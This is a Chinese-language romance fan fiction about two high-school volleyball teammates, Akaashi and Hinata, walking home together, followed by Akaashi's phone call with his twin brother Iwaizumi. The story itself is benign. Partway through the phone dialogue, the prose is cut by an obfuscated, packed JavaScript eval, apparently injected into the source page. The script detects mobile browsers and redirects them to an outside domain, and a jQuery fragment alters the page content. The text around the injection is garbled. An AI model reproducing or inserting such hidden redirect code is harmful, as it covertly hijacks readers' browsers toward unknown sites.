晚风中的球印与心事
傍晚六点半，雪之丘高中校门口的樱花树还沾着夕阳的金粉，风一吹，细碎的花瓣就落在日向抱着的排球上，像撒了把浅粉色的糖。赤苇背着黑色书包走在他左手边，帆布书包带磨出了柔软的毛边，指尖偶尔会碰到垂在身侧的樱花瓣，轻轻捻掉时，指腹能沾到一点淡淡的花香。
“今天训练结束时，你帮我捡的那个球，表面好像有点漏气了。”日向突然开口，声音被风吹得软乎乎的，他把排球往赤苇面前凑了凑，指腹点了点球面靠近气嘴的地方，“你看，这里按下去回弹变慢了，明天得记得带打气筒。”
赤苇低头看过去，日向的手指纤细，指节因为常年练排球泛着健康的淡粉色，按在米白色的排球上时，能看到球面微微凹陷。他顺着日向的指尖看去，果然在气嘴旁发现了一道极细的划痕，大概是今天砸到体育馆角落的棒球袋时蹭到的。“明天我带打气筒吧，”赤苇说，声音比平时放轻了些，“我书包侧袋里有个迷你的，之前给自行车打气用过，应该能用上。”
日向眼睛亮了亮，赶紧把排球抱回怀里，像怕它再受委屈似的：“太好了！上次我带的打气筒太大，塞不进运动包，每次都得让田中帮我扛着，他总说我‘连个打气筒都拿不动’。”他说着，忍不住模仿田中的大嗓门，皱着眉头把下巴抬得老高，逗得赤苇弯了嘴角。
两人沿着人行道往前走，路边的便利店刚亮起暖黄色的灯，玻璃窗上贴着新出的草莓味雪糕海报，冷气从敞开的门里飘出来，带着甜丝丝的凉意。日向的脚步顿了顿，视线黏在海报上，咽了咽口水——训练时流了太多汗，现在喉咙里还干得发紧，草莓雪糕的粉白色奶油看着就特别解渴。
赤苇注意到他的小动作，侧头问：“想吃雪糕？”
日向猛地回过神，耳朵有点红，赶紧摇头：“没、没有！就是觉得海报挺好看的……”话没说完，肚子却不争气地“咕噜”叫了一声，他瞬间把头埋得更低，抱着排球的手臂都收紧了，像只被抓包的小松鼠。
赤苇忍不住笑出声，抬手推了推便利店的门，冷气裹着雪糕的甜香涌出来：“走吧，我请你。训练了一下午，补充点糖分也好。”他率先走进去，脚步停在冰柜前，弯腰拿出两支草莓雪糕，还特意看了眼配料表——日向上次说过怕太甜的，这支糖分含量刚好中等。
日向跟在他身后，手指绞着运动服的衣角，小声说：“其实我可以自己买的……”
“下次你请我就好。”赤苇付了钱，把其中一支雪糕递给他，包装袋上还沾着冰柜的水珠，“赶紧吃，化了就不好吃了。”
日向接过雪糕，指尖碰到赤苇的指腹，冰凉的触感让他心跳漏了一拍，赶紧低头撕开包装袋。草莓味的甜香瞬间散开，他咬了一口，奶油在舌尖化开，带着淡淡的草莓颗粒，甜而不腻，刚好压下了喉咙里的干涩。他偷偷抬眼看向赤苇，对方正慢条斯理地吃着雪糕，夕阳透过便利店的玻璃窗落在他脸上，睫毛在眼下投出浅浅的阴影，连咬雪糕的动作都显得格外温柔。
走出便利店时，雪糕已经吃了大半。日向舔了舔嘴角的奶油，突然想起下午训练的事，眼睛又亮起来：“对了赤苇，你今天给岩泉传的那几个‘迷惑球’也太厉害了吧！明明看着要往左边传，结果突然变向，刚好落在岩泉最舒服的扣球点，连元堂学长都喊‘这配合绝了’！”
“其实是岩泉的适应力强。”赤苇把雪糕棍扔进路边的垃圾桶，指尖擦了擦嘴角，“我传偏的那几个球，他都能快速调整位置，手腕拧转的角度也刚好，才能把斜线球扣得那么准。倒是你，下午接铃谷风的发球时，那个鱼跃救球很漂亮，就是落地时记得先撑手，别直接摔下去，容易擦伤。”
日向摸了摸膝盖，那里确实有块淡淡的红印，是下午救球时蹭到的：“我知道啦！下次我会注意的。对了，你怎么总能记住每个人的小习惯啊？比如知道岩泉扣球前会先压一下左肩，知道清水拦网时喜欢先踮脚，连我接发球时会不自觉往后退半步都知道。”
赤苇低头看了眼他怀里的排球，球面还沾着两片樱花瓣，轻轻一吹就飘了起来：“看的次数多了，自然就记住了。比如你每次准备接发球，都会先把排球往地上拍三下，然后往后退半步；岩泉扣球前压左肩，是为了更好地蓄力；清水踮脚，是为了更快起跳。这些小习惯里，藏着每个人最舒服的发力方式。”
日向听得很认真，连雪糕化了滴在手上都没察觉：“原来还有这种说法！那我下次也要多观察大家的习惯，说不定能传更好的球！”他说着，突然发现手上沾了奶油，赶紧用舌头舔掉，动作像只小猫似的，逗得赤苇又笑了。
两人继续往前走，路边的路灯渐渐亮了起来，暖黄色的光把他们的影子拉得很长，并排落在铺满樱花瓣的人行道上。日向抱着排球，脚步偶尔会跟着影子的节奏轻轻蹦跶，排球偶尔会碰到赤苇的胳膊，发出“咚咚”的轻响，像心跳的声音。
“赤苇，你家还有多久到啊？”日向突然问，声音比刚才轻了些。
“还有两个路口。”赤苇看了眼手机，“你家比我家近，前面那个拐角就到了吧？”
日向点点头，心里却莫名有点失落——平时觉得回家的路挺长的，今天怎么这么快就快到了。他捏了捏排球，突然想起什么，从运动服口袋里掏出一颗薄荷糖，递到赤苇面前：“这个给你！我妈昨天买的，说吃了能提神，训练时我吃了一颗，觉得挺好吃的。”
赤苇接过薄荷糖，糖纸是淡绿色的，上面印着小小的树叶图案。他剥开糖纸，把薄荷糖放进嘴里，清凉的味道瞬间在口腔里散开，刚好压下了雪糕的甜腻：“谢谢，很好吃。”
两人走到拐角处，日向的家就在前面不远处，门口的灯已经亮了。他停下脚步，抱着排球，手指绞着运动服的衣角，小声说：“那、那我就先回家了。明天训练，记得带打气筒哦。”
“嗯，记得。”赤苇点点头，目光落在他怀里的排球上，“路上小心，别再把排球忘在什么地方了。”
日向红了耳朵，赶紧点头：“知道啦！我才不会忘呢！”他说着，转身往家的方向走，走了两步又停下来，回头看向赤苇：“赤苇，明天见！”
“明天见。”赤苇挥了挥手，看着他的背影渐渐消失在门口的灯光里，才转身往自己家的方向走。
手机突然在口袋里震动起来。屏幕上跳动的“岩泉一”三个字格外显眼，他指尖顿了顿，还是划开了接听键。
“你在哪？”电话那头的声音带着点熟悉的无奈，背景里能隐约听见排球落地的“咚咚”声——大概是哥哥训练结束没找到他，又折回体育馆看了圈。
赤苇站在路灯下，暖黄的光把他的影子拉得很长，连鬓角垂落的碎发都染着淡金色：“刚送日向到家，准备往回走。”
“送日向？”岩泉一的声音顿了顿，接着就是毫不意外的吐槽，“所以你就把回家的路忘到后脑勺了？我在小区门口等了十分钟，问了路过的同学，说看见你往西边走了——咱们家在东边，你走反了整整三个路口。”
赤苇低头看了眼脚下的路，确实是和家完全相反的方向，连路边的便利店都不是平时常去的那家。他忍不住轻咳一声，指尖无意识地摩挲着手机边缘：“刚才聊得太投入，没注意方向。”
“聊什么能让你连东南西北都分不清？”岩泉一的声音里带着点调侃，“是聊怎么给我传‘迷惑球’，还是聊怎么帮日向改接发球的姿势？”
提到日向，赤苇的耳尖悄悄泛起淡红。刚才和日向一起走的路上，少年抱着排球，叽叽喳喳地说个不停——从下午训练时岩泉那记惊艳的斜线扣球，到自己鱼跃救球时差点摔个屁股墩，连妈妈新做的草莓酱三明治都拿出来分享了两句。日向说话时眼睛亮晶晶的，像盛着星星，连偶尔溅到嘴角的奶油，都要用舌尖轻轻舔掉，模样鲜活又可爱。
“也没聊什么特别的。”赤苇的声音放轻了些，晚风卷着路边栀子花开的香气飘过来，和记忆里日向身上淡淡的薄荷味叠在一起，“他问我怎么观察队友的小习惯，还说下次想试着给你传几个球，看看能不能配合上。”
“哦？”岩泉一的声音里多了点笑意，“那小子倒是有干劲。不过你也别太惯着他，上次他模仿我拧球，把球砸到自己脚上，疼得龇牙咧嘴还嘴硬说没事，你可得盯着点，别让他练太急。”
赤苇想起下午训练时的场景，忍不住弯了弯嘴角：“我知道，已经跟他说了，先练基础发力，别急于求成。”他顿了顿，又补充道，“刚才送他回家时，他还塞给我一颗草莓味的糖，说很甜，让我尝尝。”
电话那头沉默了两秒，接着就传来岩泉一了然的笑声：“行啊，还收了人家的糖。那你现在往回走，要不要我过去接你？西边这边晚上路灯没那么亮，你又不爱戴眼镜，别摔着。”
“不用，我自己能走回去。”赤苇抬头看了眼路牌，确认了往家的方向，“你先回家吧，别在门口等了，风有点凉。”
“我等你一起吃晚饭，妈炖了排骨汤，说你训练累，让多喝点。”岩泉一的声音软了些，“对了，你刚才送日向，没耽误他回家吧？他妈妈会不会担心？”
“没有，他到家时，他家灯已经亮了，应该是妈妈在等他。”赤苇想起刚才日向站在门口挥手的样子，少年抱着排球，笑得露出两颗小虎牙，“他还说明天训练要早点来，想跟我先练会儿传球。”
“那你们可得注意时间，别太早，训练前得让身体活动开，不然容易受伤。”岩泉一又叮嘱了几句，从传球时的发力角度，到热身时的拉伸动作，絮絮叨叨的，像怕他忘了似的。
赤苇耐心地听着，脚步慢慢往家的方向走。路灯的光透过树叶的缝隙落在地上，形成斑驳的光影，他偶尔会踢到路边的小石子，想起刚才和日向一起走时，少年也是这样，故意踩着他的影子走，排球偶尔碰到他的胳膊，发出“咚咚”的轻响，像心跳的声音。
“对了，”岩泉一突然开口，打断了他的思绪，“你刚才走反方向，是不是故意的？”
赤苇的脚步顿了顿，耳尖的红意又深了些：“不是，就是没注意。”
“真没注意？”岩泉一的声音里带着点调侃，“我记得你小时候，连去外婆家的路都不会走反，现在送个同学，就能把方向忘得一干二净
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379562|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？”
赤苇没说话，只是低头看着自己的鞋尖。其实他刚才走到分岔路口时，就知道往西边走是反方向了，可看着日向蹦蹦跳跳的样子，听着少年叽叽喳喳的声音，他鬼使神差地就跟着走了过去——好像只要能多和日向待一会儿，走反方向也没什么不好。
“行了，不逗你了。”岩泉一的声音里带着笑意，“你路上小心，慢慢走，我在家等你。对了，把日向给你的糖留一颗，我也想尝尝，看看是什么味道，能让你连回家的路都忘了。”
赤苇的嘴角忍不住又扬了起来，从口袋里掏出那颗草莓味的糖，糖纸是淡粉色的，上面印着小小的草莓图案：“知道了，给你留一颗。”
挂了电话，赤苇握着手机，指尖还残留着屏幕的温度。他抬头看了眼天上的星星，晚风里带着栀子花的香气，好像还能闻到日向身上淡淡的薄荷味。他把那颗草莓味的糖放进嘴里，甜丝丝的味道在口腔里散开，连走反方向的路，都变得格外温柔起来。
他慢慢往家的方向走，脚步比刚才慢了些，偶尔会回头看看日向家的方向，心里悄悄盼着明天训练能早点到——盼着能再和日向一起练传球，盼着能再听少年叽叽喳喳地说话，盼着能再和他一起走一段路，哪怕这次不会走反方向，也想多待一会儿。
而此刻，岩泉一挂了电话，看着桌上温着的排骨汤，忍不住笑了。他太了解自己这个双胞胎弟弟了，平时冷静又细心，连训练计划都能记得分毫不差，怎么可能会轻易走反回家的路？怕是心里装了别的事，才把方向忘到了后脑勺。他拿起手机，给赤苇发了条消息：“慢慢走，不急，汤我帮你温着。”
赤苇沿着路灯往家走，晚风卷起地上的樱花瓣，轻轻擦过他的鞋尖，他想起了。
他想起第一次和日向训练的场景。那是刚开始学排球，日向抱着排球追着岩泉问扣球，没注意脚下的台阶，差点摔进器材室。是赤苇伸手扶了他一把，少年抬头时眼睛亮晶晶的，说了声“谢谢”，却没像其他人那样问“你是岩泉的弟弟吧”，反而指着他书包上的排球挂件说：“这个挂件好可爱！是你自己挂的吗？”
那是赤苇第一次被人忽略“岩泉弟弟”的标签，只被当作“赤苇”看待。在此之前，无论是学校里的同学，还是棒球社的前辈，见到他时总会先提起岩泉——“你哥哥今天怎么没来训练？”“能不能让岩泉教我滑球？”连妈妈有时都会下意识地喊错名字，把“赤苇”叫成“泉一”。他不是不喜欢哥哥，只是偶尔也会想，能不能有人只看见他自己。
而日向就是那个人。日向会缠着他问传球的技巧，会认真听他分析队友的小习惯，会在他递过雪糕时说“谢谢赤苇”，而不是“谢谢岩泉的弟弟”。记得有一次训练结束，日向拿着笔记本跑过来，指着上面画满的排球轨迹说：“赤苇你看！我把你今天传的球都记下来了，你的传球总在最舒服的位置，比我之前练的都好接！”
后来他就开始不自觉地关注日向。会记得日向怕太甜的东西，所以买雪糕时特意看配料表；会记得日向接发球时喜欢退半步，所以传球时会稍微调整位置；会记得日向的排球容易漏气，所以提前把打气筒放进书包。他一开始以为是因为日向的热情，像小太阳似的，总能照亮他心里那些孤独的角落，可后来才发现，好像不止于此。
有一次训练，日向为了救一个快出界的球，摔在地上擦破了膝盖，却还是爬起来笑着说“没事没事”，继续训练。休息时赤苇递给他创可贴，看着他咬着牙贴创可贴的样子，忍不住说：“下次别这么拼，受伤了反而影响训练。”日向却抬头看着他，眼睛亮闪闪的：“可是那个球如果救起来，说不定就能得分了！而且有赤苇你在，就算我摔了，你也会帮我传好下一个球的，对不对？”
那一刻，赤苇的心跳漏了一拍。他看着日向信任的眼神，忽然觉得，自己好像也不是只能躲在哥哥身后，他也能成为别人的依靠。从那以后，他对自己的要求更严了，每天提前半小时去排球馆练传球，只为了能让日向扣球时更轻松一点；会在训练结束后留下来，帮日向纠正接发球的姿势，直到日向能稳稳地把球垫到二传区。
他也说不清自己是从什么时候开始，对日向的好超出了普通队友的界限。
走到小区门口时，他看见岩泉站在路灯下等他，手里还拿着一个保温杯。“怎么才回来？”岩泉走上前，把保温杯递给她，“妈炖的排骨汤，我给你热了两次了，赶紧喝。”
赤苇接过保温杯，温热的触感从指尖传到心里。他打开杯盖，喝了一口排骨汤，鲜美的味道在嘴里散开，带着妈妈的温度。“哥，”他忽然开口，声音比平时轻了些，“你说，喜欢一个人是什么感觉啊？”
岩泉愣了一下，随即了然地笑了：“是不是每次看到他，都觉得心里像揣了颗糖？想把所有好东西都给他，想多陪他待一会儿，哪怕只是一起走走路也好？”
赤苇的耳尖红了，低头喝着排骨汤，没说话，却轻轻点了点头。
岩泉拍了拍他的肩膀，声音软了些：“喜欢就喜欢呗，没什么大不了的。不过你可得抓紧点，日向那小子那么受欢迎，别被别人抢走了。